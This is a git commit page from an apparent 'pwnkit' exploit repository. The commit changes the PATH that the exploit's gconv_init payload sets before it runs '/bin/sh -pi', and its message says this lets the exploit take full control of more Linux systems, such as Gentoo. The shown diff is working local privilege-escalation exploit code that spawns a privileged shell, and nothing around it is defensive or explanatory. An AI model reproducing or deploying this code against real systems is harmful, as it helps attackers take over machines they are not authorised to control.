pwnkit: Adds full PATH support
This will take full control of executables on certain Linux systems that don't use /usr merge as their filesystem layout, for example Gentoo. Signed-off-by: Harry Kurn <alternate-se7en@pm.me>
This commit is contained in:
parent
87ebfb4d70
commit
c52918e9dc
2
pwnkit.c
2
pwnkit.c
@ -8,7 +8,7 @@ void gconv(void) {
|
|||||||
void gconv_init(void *step)
|
void gconv_init(void *step)
|
||||||
{
|
{
|
||||||
char * const args[] = { "/bin/sh", "-pi", NULL };
|
char * const args[] = { "/bin/sh", "-pi", NULL };
|
||||||
char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
|
char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
|
||||||
execve(args[0], args, environ);
|
execve(args[0], args, environ);
|
||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
Loading…
Reference in New Issue
Block a user